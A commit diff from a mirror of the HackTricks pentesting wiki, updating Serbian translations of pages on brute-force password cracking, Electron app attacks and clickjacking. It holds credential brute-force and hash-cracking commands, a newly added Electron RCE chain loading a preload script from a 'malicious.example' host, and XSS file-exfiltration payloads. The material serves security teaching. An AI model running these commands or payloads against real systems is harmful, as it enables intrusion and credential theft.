mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/brute-force.md', 'src/network-services-
This commit is contained in:
parent
bf38793aba
commit
aebe0e5e3f
@ -4,7 +4,7 @@
|
||||
|
||||
## Default Credentials
|
||||
|
||||
**Pretražite na google-u** za podrazumevane akreditive tehnologije koja se koristi, ili **probajte ove linkove**:
|
||||
**Pretražujte na google-u** za podrazumevane akreditive tehnologije koja se koristi, ili **probajte ove linkove**:
|
||||
|
||||
- [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
- [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
||||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Cewl
|
||||
### Liste reči zasnovane na vebsajtovima
|
||||
```bash
|
||||
# Cewl gets words from the victims page
|
||||
cewl example.com -m 5 -w words.txt
|
||||
|
||||
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
|
||||
cat /path/to/urls.txt | tok
|
||||
|
||||
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
|
||||
cat /path/to/js-urls.txt | python3 getjswords.py
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
|
||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
```
|
||||
### HTTP - Post Forma
|
||||
### HTTP - Post Form
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
@ -393,13 +400,13 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
|
||||
# Try keys from a folder
|
||||
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||
```
|
||||
#### Slabi SSH ključevi / Predvidljiv PRNG na Debijanu
|
||||
#### Slabi SSH ključevi / Debian predvidljiv PRNG
|
||||
|
||||
Neki sistemi imaju poznate greške u nasumičnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se može bruteforcovati alatima kao što su [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Takođe su dostupni unapred generisani setovi slabih ključeva kao što su [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
|
||||
|
||||
STOMP tekstualni protokol je široko korišćen protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** kao što su RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup razmeni poruka i izvođenju raznih operacija sa porukama.
|
||||
STOMP tekstualni protokol je široko korišćen protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** kao što su RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i izvođenje raznih operacija sa porukama.
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
@ -439,7 +446,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
## Lokalno
|
||||
|
||||
### Online baze podataka za razbijanje
|
||||
### Online baze podataka za dešifrovanje
|
||||
|
||||
- [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||||
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/bez ESS/SSP i sa bilo kojom vrednošću izazova)
|
||||
@ -471,10 +478,10 @@ john zip.john
|
||||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### Napad sa poznatim otvorenim tekstom zip
|
||||
#### Napad sa poznatim otvorenim tekstom na zip
|
||||
|
||||
Morate znati **otvoreni tekst** (ili deo otvorenog teksta) **fajla koji se nalazi unutar** enkriptovanog zip-a. Možete proveriti **imena fajlova i veličinu fajlova koji se nalaze unutar** enkriptovanog zip-a pokretanjem: **`7z l encrypted.zip`**\
|
||||
Preuzmite [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice sa izdanjima.
|
||||
Potrebno je da znate **otvoreni tekst** (ili deo otvorenog teksta) **fajla koji se nalazi unutar** enkriptovanog zip-a. Možete proveriti **imena fajlova i veličinu fajlova koji se nalaze unutar** enkriptovanog zip-a pokretanjem: **`7z l encrypted.zip`**\
|
||||
Preuzmite [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice za izdanja.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
@ -588,7 +595,7 @@ Koristite [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john
|
||||
Ako imate xlsx datoteku sa kolonom zaštićenom lozinkom, možete je otključati:
|
||||
|
||||
- **Otpremite je na google drive** i lozinka će biti automatski uklonjena
|
||||
- Da **uklonite** to **ručno**:
|
||||
- Da **uklonite** je **ručno**:
|
||||
```bash
|
||||
unzip file.xlsx
|
||||
grep -R "sheetProtection" ./*
|
||||
@ -637,7 +644,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
|
||||
#### Hashcat napadi
|
||||
|
||||
- **Napad rečnika** (`-a 0`) sa pravilima
|
||||
- **Napad sa rečnikom** (`-a 0`) sa pravilima
|
||||
|
||||
**Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
```
|
||||
@ -689,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
||||
## Use it to crack the password
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||
```
|
||||
- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) napad
|
||||
- Lista reči + Maska (`-a 6`) / Maska + Lista reči (`-a 7`) napad
|
||||
```bash
|
||||
# Mask numbers will be appended to each word in the wordlist
|
||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||
@ -697,11 +704,11 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||
# Mask numbers will be prepended to each word in the wordlist
|
||||
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||
```
|
||||
#### Hashcat modusi
|
||||
#### Hashcat modovi
|
||||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
Kršenje Linux hešova - /etc/shadow datoteka
|
||||
Razbijanje Linux hešova - /etc/shadow datoteka
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
|
@ -101,7 +101,7 @@ Izmenite start-main konfiguraciju i dodajte korišćenje proksija kao što su:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron lokalna injekcija koda
|
||||
## Electron Local Code Injection
|
||||
|
||||
Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljni JavaScript kod. Proverite kako u:
|
||||
|
||||
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Obilaženje događaja klika
|
||||
|
||||
Ako postoje ograničenja kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom.
|
||||
Ako postoje ograničenja primenjena kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -187,12 +187,12 @@ Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1
|
||||
|
||||
Kada se implementira Electron desktop aplikacija, osiguranje ispravnih podešavanja za `nodeIntegration` i `contextIsolation` je ključno. Utvrđeno je da **izvršavanje daljinskog koda na klijentskoj strani (RCE)** koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava sa ovim podešavanjima.
|
||||
|
||||
Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za bezbednost i funkcionalnost aplikacije:
|
||||
Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za sigurnost i funkcionalnost aplikacije:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ovi slušatelji su **prepisani od strane desktop aplikacije** kako bi implementirali svoju **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`.
|
||||
Ovi slušatelji su **prepisani od strane desktop aplikacije** da implementiraju svoju vlastitu **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`.
|
||||
|
||||
**Evo pojednostavljenog pseudokoda:**
|
||||
|
||||
@ -200,7 +200,7 @@ Ovi slušatelji su **prepisani od strane desktop aplikacije** kako bi implementi
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom `openExternal`, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu izazvati RCE. Za detaljne primere i dalju objašnjenje o ovoj temi, može se konsultovati [ovaj resurs](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.
|
||||
Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom `openExternal`, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalja objašnjenja o ovoj temi, može se konsultovati [ovaj resurs](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.
|
||||
|
||||
U macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi kao u `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
@ -224,13 +224,34 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## Čitanje internih fajlova: XSS + contextIsolation
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, sličnih `<iframe>`, za čitanje i eksfiltraciju lokalnih fajlova. Primer prikazan ilustruje kako iskoristiti ovu ranjivost za čitanje sadržaja internih fajlova:
|
||||
Ova ranjivost se može naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
**webviewTag** je **deprecated feature** koja omogućava korišćenje **NodeJS** u **renderer process**, što bi trebalo biti onemogućeno jer omogućava učitavanje skripte unutar preload konteksta kao:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Stoga, napadač koji uspe da učita proizvoljnu stranicu mogao bi da iskoristi tu oznaku da **učita proizvoljan preload skript**.
|
||||
|
||||
Ovaj preload skript je zatim zloupotrebljen da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala **`shell.openExternal`** da bi dobila RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
|
||||
setTimeout(async () => {
|
||||
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
|
||||
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## Čitanje unutrašnjih fajlova: XSS + contextIsolation
|
||||
|
||||
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, sličnih `<iframe>`, za čitanje i eksfiltraciju lokalnih fajlova. Primer prikazan ilustruje kako iskoristiti ovu ranjivost za čitanje sadržaja unutrašnjih fajlova:
|
||||
|
||||
.png>)
|
||||
|
||||
Dalje, podeljena je još jedna metoda za **čitanje internog fajla**, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:
|
||||
Dalje, podeljena je još jedna metoda za **čitanje unutrašnjeg fajla**, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -253,14 +274,14 @@ Možete videti primer u ovom **writeup**: [https://blog.electrovolt.io/posts/dis
|
||||
|
||||
## **XSS Phishing putem zaobilaženja interne URL regex**
|
||||
|
||||
Pretpostavljajući da ste pronašli XSS, ali **ne možete aktivirati RCE ili ukrasti interne fajlove**, mogli biste pokušati da ga iskoristite za **krađu kredencijala putem phishinga**.
|
||||
Pretpostavljajući da ste pronašli XSS, ali ne možete **pokrenuti RCE ili ukrasti interne fajlove**, mogli biste pokušati da ga iskoristite za **krađu kredencijala putem phishinga**.
|
||||
|
||||
Prvo što treba da znate je šta se dešava kada pokušate da otvorite novu URL adresu, proveravajući JS kod u front-endu:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Poziv na **`openInternally`** će odlučiti da li će **link** biti **otvoren** u **desktop prozoru** kao link koji pripada platformi, **ili** će biti otvoren u **pregledaču kao resurs treće strane**.
|
||||
Poziv na **`openInternally`** će odlučiti da li će **link** biti **otvoren** u **desktop prozoru** jer pripada platformi, **ili** će biti otvoren u **pregledaču kao resurs treće strane**.
|
||||
|
||||
U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilaženje** (na primer, **ne beži tačke subdomena**) napadač bi mogao da iskoristi XSS da **otvori novi prozor koji** će biti smešten u infrastrukturi napadača **tražeći kredencijale** od korisnika:
|
||||
```html
|
||||
@ -268,17 +289,21 @@ U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilaženje** (na
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## Remote module
|
||||
## `file://` Protokol
|
||||
|
||||
Electron Remote modul omogućava **renderer procesima pristup API-ima glavnog procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne bezbednosne rizike. Proširuje napadnu površinu aplikacije, čineći je podložnijom ranjivostima kao što su napadi skriptiranja između sajtova (XSS).
|
||||
Kao što je pomenuto u [dokumentaciji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), stranice koje se pokreću na **`file://`** imaju jednostrani pristup svakom fajlu na vašem računaru, što znači da se **XSS problemi mogu iskoristiti za učitavanje proizvoljnih fajlova** sa korisnikovog računara. Korišćenje **prilagođenog protokola** sprečava ovakve probleme jer možete ograničiti protokol na pružanje samo specifičnog skupa fajlova.
|
||||
|
||||
## Remote modul
|
||||
|
||||
Electron Remote modul omogućava **renderer procesima pristup API-ima glavnog procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne bezbednosne rizike. Proširuje napadnu površinu aplikacije, čineći je podložnijom ranjivostima kao što su napadi skriptovanja između sajtova (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Iako **remote** modul izlaže neke API-je iz glavnog u renderer procese, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu izložiti osetljive informacije.
|
||||
> Iako **remote** modul izlaže neke API-je od glavnog do renderer procesa, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu izložiti osetljive informacije.
|
||||
|
||||
> [!WARNING]
|
||||
> Mnoge aplikacije koje još uvek koriste remote modul to rade na način koji **zahteva da NodeIntegration bude omogućen** u renderer procesu, što je **ogroman bezbednosni rizik**.
|
||||
|
||||
Od Electron 14, `remote` modul Electron-a može biti omogućen u nekoliko koraka, ali zbog bezbednosnih i performansnih razloga je **preporučeno da se ne koristi**.
|
||||
Od Electron 14, `remote` modul Electron-a može biti omogućen u nekoliko koraka, jer je zbog bezbednosti i performansi **preporučeno da se ne koristi**.
|
||||
|
||||
Da bi se omogućio, prvo je potrebno **omogućiti ga u glavnom procesu**:
|
||||
```javascript
|
||||
@ -295,22 +320,22 @@ Zatim, proces renderovanja može uvesti objekte iz modula kao što su:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
|
||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz daljinskog modula:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Ponovo pokreće** aplikaciju tako što **izlazi** iz trenutne instance i **pokreće** novu. Korisno za **ažuriranja aplikacija** ili značajne **promene stanja**.
|
||||
- **Ponovo pokreće** aplikaciju tako što **izlazi** iz trenutne instance i **pokreće** novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Definiše** ili **stvara** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **pribaviti** ili **modifikovati** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
|
||||
- **Definiše** ili **stvara** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **pribaviti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za određeni **protokol**. Možete navesti **prilagođeni put** i **argumente** ako je potrebno.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Dodaje** zadatke u **kategoriju zadataka** u **Jump List** (na Windows-u). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koje **argumente** prima.
|
||||
- **Dodaje** zadatke u **kategoriju zadataka** u **Jump List** (na Windows-u). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koje **argumente** se prosleđuju.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Uvozi** **PKCS#12 sertifikat** u sistemski **sertifikat store** (samo Linux). **Callback** se može koristiti za obradu rezultata.
|
||||
- **Uvozi** **PKCS#12 sertifikat** u **sertifikacioni skladište** sistema (samo Linux). **Callback** se može koristiti za obradu rezultata.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Premesta** aplikaciju u **Applications folder** (na macOS). Pomaže da se osigura **standardna instalacija** za Mac korisnike.
|
||||
- **Premesta** aplikaciju u **Applications folder** (na macOS). Pomaže da se osigura **standardna instalacija** za korisnike Mac-a.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows-u**. Možete specificirati **kategorije** da organizujete kako se zadaci prikazuju korisniku.
|
||||
- **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows-u**. Možete odrediti **kategorije** da organizujete kako se zadaci prikazuju korisniku.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Konfiguriše** koje **izvršne fajlove** se pokreću pri **prijavljivanju** zajedno sa njihovim **opcijama** (samo macOS i Windows).
|
||||
```javascript
|
||||
@ -338,17 +363,17 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
* **Sluša** **nativne macOS obaveštenja** koristeći NSDistributedNotificationCenter.
|
||||
* Pre **macOS Catalina**, mogli ste da presretnete **sva** distribuirana obaveštenja tako što ste prosledili **nil** CFNotificationCenterAddObserver.
|
||||
* Nakon **Catalina / Big Sur**, aplikacije u sandboxu mogu i dalje da se **pretplate** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **montiranje volumena**, **mrežna aktivnost**, itd.) registrujući obaveštenja **po imenu**.
|
||||
* Nakon **Catalina / Big Sur**, aplikacije u sandbox-u mogu i dalje da se **pretplate** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **montiranje volumena**, **mrežna aktivnost**, itd.) registrujući obaveštenja **po imenu**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** postavke na macOS.
|
||||
* **Interfejsi** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** postavke na macOS-u.
|
||||
|
||||
* **getUserDefault** može **pribaviti** osetljive informacije, kao što su **lokacije nedavnih datoteka** ili **geografska lokacija korisnika**.
|
||||
* **getUserDefault** može da **dobije** osetljive informacije, kao što su **lokacije nedavnih datoteka** ili **geografska lokacija korisnika**.
|
||||
|
||||
* **setUserDefault** može **modifikovati** ove postavke, potencijalno utičući na **konfiguraciju** aplikacije.
|
||||
* **setUserDefault** može da **izmeni** ove postavke, potencijalno utičući na **konfiguraciju** aplikacije.
|
||||
|
||||
* U **starijim verzijama Electrona** (pre v8.3.0), samo je **standardni paket** NSUserDefaults bio **dostupan**.
|
||||
* U **starijim verzijama Electron-a** (pre v8.3.0), samo je **standardni paket** NSUserDefaults bio **dostupan**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
@ -409,7 +434,7 @@ npm start
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Više istraživanja i članaka o Electron bezbednosti na [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- Više istraživanja i članaka o Electron bezbednosti u [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
@ -8,7 +8,7 @@ U clickjacking napadu, **korisnik** je **prevaren** da **klikne** na **element**
|
||||
|
||||
### Prepopunjavanje obrazaca trik
|
||||
|
||||
Ponekad je moguće **popuniti vrednost polja obrasca koristeći GET parametre prilikom učitavanja stranice**. Napadač može zloupotrebiti ovo ponašanje da popuni obrazac proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Pošalji.
|
||||
Ponekad je moguće **popuniti vrednost polja obrasca koristeći GET parametre prilikom učitavanja stranice**. Napadač može zloupotrebiti ovo ponašanje da popuni obrazac proizvoljnim podacima i pošalje clickjacking payload kako bi korisnik pritisnuo dugme Pošalji.
|
||||
|
||||
### Popuni obrazac sa Drag\&Drop
|
||||
|
||||
@ -100,14 +100,16 @@ Prvo [objašnjeno u ovom postu](https://securityaffairs.com/172572/hacking/doubl
|
||||
|
||||
Primer se može videti u ovom videu: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
Primer koda može se naći na [ovoj stranici](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
||||
|
||||
> [!WARNING]
|
||||
> Ova tehnika omogućava prevaru korisnika da klikne na 1 mesto na stranici žrtve zaobilaženjem svake zaštite protiv clickjacking-a. Tako da napadač treba da pronađe **osetljive akcije koje se mogu izvršiti sa samo 1 klikom, kao što su OAuth prompte za prihvatanje dozvola**.
|
||||
> Ova tehnika omogućava prevaru korisnika da klikne na 1 mesto na stranici žrtve zaobilazeći svaku zaštitu protiv clickjacking-a. Tako da napadač treba da pronađe **osetljive akcije koje se mogu izvršiti sa samo 1 klikom, kao što su OAuth prompte za prihvatanje dozvola**.
|
||||
|
||||
## Strategije za ublažavanje Clickjacking-a
|
||||
|
||||
### Klijentske odbrane
|
||||
|
||||
Skripte koje se izvršavaju na klijentskoj strani mogu preduzeti akcije da spreče Clickjacking:
|
||||
Skripte koje se izvršavaju na klijentskoj strani mogu izvesti radnje da spreče Clickjacking:
|
||||
|
||||
- Osiguranje da je prozor aplikacije glavni ili gornji prozor.
|
||||
- Činjenje svih okvira vidljivim.
|
||||
@ -117,24 +119,24 @@ Skripte koje se izvršavaju na klijentskoj strani mogu preduzeti akcije da spre
|
||||
Međutim, ovi skripti za razbijanje okvira mogu biti zaobiđeni:
|
||||
|
||||
- **Bezbednosne postavke pregledača:** Neki pregledači mogu blokirati ove skripte na osnovu svojih bezbednosnih postavki ili nedostatka podrške za JavaScript.
|
||||
- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je on gornji prozor, npr.,
|
||||
- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da verifikuje da li je on gornji prozor, npr.,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
The `allow-forms` i `allow-scripts` vrednosti omogućavaju akcije unutar iframe-a dok onemogućavaju navigaciju na vrhunskom nivou. Da bi se osigurala nameravana funkcionalnost ciljanog sajta, dodatne dozvole kao što su `allow-same-origin` i `allow-modals` mogu biti neophodne, u zavisnosti od tipa napada. Poruke u konzoli pretraživača mogu pomoći u određivanju koje dozvole treba omogućiti.
|
||||
`allow-forms` i `allow-scripts` vrednosti omogućavaju akcije unutar iframe-a dok onemogućavaju navigaciju na vrhunskom nivou. Da bi se osigurala nameravana funkcionalnost ciljanog sajta, dodatne dozvole kao što su `allow-same-origin` i `allow-modals` mogu biti neophodne, u zavisnosti od tipa napada. Poruke u konzoli pretraživača mogu pomoći u određivanju koje dozvole treba dozvoliti.
|
||||
|
||||
### Server-Side Defenses
|
||||
|
||||
#### X-Frame-Options
|
||||
|
||||
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti prikazivanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
|
||||
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti renderovanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
|
||||
|
||||
- `X-Frame-Options: deny` - Nijedna domena ne može uokviriti sadržaj.
|
||||
- `X-Frame-Options: sameorigin` - Samo trenutni sajt može uokviriti sadržaj.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Samo navedeni 'uri' može uokviriti stranicu.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Samo određeni 'uri' može uokviriti stranicu.
|
||||
- Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači preferiraju CSP frame-ancestors direktivu.
|
||||
|
||||
#### Content Security Policy (CSP) frame-ancestors direktiva
|
||||
